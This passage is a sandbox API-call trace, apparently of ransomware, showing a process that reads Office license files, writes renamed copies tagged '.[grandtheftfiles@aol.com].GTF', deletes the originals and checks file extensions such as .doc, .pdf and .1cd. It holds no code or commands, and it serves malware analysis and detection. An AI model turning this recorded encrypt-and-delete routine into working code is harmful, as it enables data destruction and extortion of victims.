	[0178.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.177] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11175) returned 1
	[0178.178] CloseHandle (hObject=0x540) returned 1
	[0178.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220
	[0178.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.178] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.178] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0178.179] GetLastError () returned 0x0
	[0178.179] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0178.181] WriteFile (in: hFile=0x428, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0178.183] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.183] WriteFile (in: hFile=0x428, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x112, lpOverlapped=0x0) returned 1
	[0178.183] SetEndOfFile (hFile=0x428) returned 1
	[0178.184] CloseHandle (hObject=0x428) returned 1
	[0178.184] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.184] SetEndOfFile (hFile=0x540) returned 1
	[0178.187] CloseHandle (hObject=0x540) returned 1
	[0178.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1
	[0178.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.189] lstrlenW (lpString=".doc") returned 4
	[0178.189] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString=".docx") returned 5
	[0178.189] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.189] lstrlenW (lpString=".pdf") returned 4
	[0178.189] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString=".xls") returned 4
	[0178.189] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString=".xlsx") returned 5
	[0178.189] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.189] lstrlenW (lpString=".ppt") returned 4
	[0178.189] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.189] lstrlenW (lpString=".zip") returned 4
	[0178.189] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString=".rar") returned 4
	[0178.189] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString=".bz2") returned 4
	[0178.189] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString=".7z") returned 3
	[0178.189] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.189] lstrlenW (lpString=".dbf") returned 4
	[0178.189] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.189] lstrlenW (lpString=".1cd") returned 4
	[0178.189] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.190] lstrlenW (lpString=".jpg") returned 4
	[0178.190] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.190] lstrlenW (lpString=".doc") returned 4
	[0178.190] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.190] lstrlenW (lpString=".docx") returned 5
	[0178.190] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.190] lstrlenW (lpString=".pdf") returned 4
	[0178.190] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.190] lstrlenW (lpString=".xls") returned 4
	[0178.190] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.190] lstrlenW (lpString=".xlsx") returned 5
	[0178.190] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.190] lstrlenW (lpString=".ppt") returned 4
	[0178.190] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.190] lstrlenW (lpString=".zip") returned 4
	[0178.190] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.190] lstrlenW (lpString=".rar") returned 4
	[0178.190] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.191] lstrlenW (lpString=".bz2") returned 4
	[0178.191] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.191] lstrlenW (lpString=".7z") returned 3
	[0178.191] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.191] lstrlenW (lpString=".dbf") returned 4
	[0178.191] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.191] lstrlenW (lpString=".1cd") returned 4
	[0178.191] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0178.191] lstrlenW (lpString=".jpg") returned 4
	[0178.191] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.191] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.191] lstrlenW (lpString="O365BusinessR_SubTest-ppd.xrm-ms") returned 32
	[0178.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.192] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=22465) returned 1
	[0178.192] CloseHandle (hObject=0x540) returned 1
	[0178.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220
	[0178.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.193] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.193] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0178.194] GetLastError () returned 0x0
	[0178.194] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x57c1, lpOverlapped=0x0) returned 1
	[0178.202] WriteFile (in: hFile=0x428, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0178.204] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.204] WriteFile (in: hFile=0x428, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x114, lpOverlapped=0x0) returned 1
	[0178.205] SetEndOfFile (hFile=0x428) returned 1
	[0178.205] CloseHandle (hObject=0x428) returned 1
	[0178.205] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.205] SetEndOfFile (hFile=0x540) returned 1
	[0178.283] CloseHandle (hObject=0x540) returned 1
	[0178.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.750] lstrlenW (lpString=".doc") returned 4
	[0178.750] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.750] lstrlenW (lpString=".docx") returned 5
	[0178.751] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.751] lstrlenW (lpString=".pdf") returned 4
	[0178.751] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString=".xls") returned 4
	[0178.751] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString=".xlsx") returned 5
	[0178.751] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.751] lstrlenW (lpString=".ppt") returned 4
	[0178.751] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.751] lstrlenW (lpString=".zip") returned 4
	[0178.751] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString=".rar") returned 4
	[0178.751] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString=".bz2") returned 4
	[0178.751] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString=".7z") returned 3
	[0178.751] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.751] lstrlenW (lpString=".dbf") returned 4
	[0178.751] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.751] lstrlenW (lpString=".1cd") returned 4
	[0178.751] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.751] lstrlenW (lpString=".jpg") returned 4
	[0178.751] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.752] lstrlenW (lpString=".doc") returned 4
	[0178.752] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString=".docx") returned 5
	[0178.752] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.752] lstrlenW (lpString=".pdf") returned 4
	[0178.752] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString=".xls") returned 4
	[0178.752] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString=".xlsx") returned 5
	[0178.752] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.752] lstrlenW (lpString=".ppt") returned 4
	[0178.752] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.752] lstrlenW (lpString=".zip") returned 4
	[0178.752] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString=".rar") returned 4
	[0178.752] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString=".bz2") returned 4
	[0178.752] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString=".7z") returned 3
	[0178.752] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.752] lstrlenW (lpString=".dbf") returned 4
	[0178.752] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.752] lstrlenW (lpString=".1cd") returned 4
	[0178.752] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0178.752] lstrlenW (lpString=".jpg") returned 4
	[0178.752] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.753] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.753] lstrlenW (lpString="O365HomePremR_Grace-ppd.xrm-ms") returned 30
	[0178.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.181] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=23068) returned 1
	[0179.181] CloseHandle (hObject=0x378) returned 1
	[0179.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220
	[0179.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.181] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.181] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.183] GetLastError () returned 0x0
	[0179.183] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5a1c, lpOverlapped=0x0) returned 1
	[0179.203] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5a20, lpOverlapped=0x0) returned 1
	[0179.204] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.204] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0179.205] SetEndOfFile (hFile=0x45c) returned 1
	[0179.205] CloseHandle (hObject=0x45c) returned 1
	[0179.205] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.205] SetEndOfFile (hFile=0x378) returned 1
	[0179.208] CloseHandle (hObject=0x378) returned 1
	[0179.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1
	[0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.209] lstrlenW (lpString=".doc") returned 4
	[0179.209] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString=".docx") returned 5
	[0179.209] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.209] lstrlenW (lpString=".pdf") returned 4
	[0179.209] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString=".xls") returned 4
	[0179.209] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString=".xlsx") returned 5
	[0179.209] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.209] lstrlenW (lpString=".ppt") returned 4
	[0179.209] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.209] lstrlenW (lpString=".zip") returned 4
	[0179.209] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString=".rar") returned 4
	[0179.209] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString=".bz2") returned 4
	[0179.209] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString=".7z") returned 3
	[0179.209] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.209] lstrlenW (lpString=".dbf") returned 4
	[0179.209] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.209] lstrlenW (lpString=".1cd") returned 4
	[0179.209] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.210] lstrlenW (lpString=".jpg") returned 4
	[0179.210] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.210] lstrlenW (lpString=".doc") returned 4
	[0179.210] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString=".docx") returned 5
	[0179.210] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.210] lstrlenW (lpString=".pdf") returned 4
	[0179.210] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString=".xls") returned 4
	[0179.210] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString=".xlsx") returned 5
	[0179.210] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.210] lstrlenW (lpString=".ppt") returned 4
	[0179.210] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0179.210] lstrlenW (lpString=".zip") returned 4
	[0179.210] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString=".rar") returned 4
	[0179.210] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString=".bz2") returned 4
	[0179.210] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.210] lstrlenW (lpString=".7z") returned 3
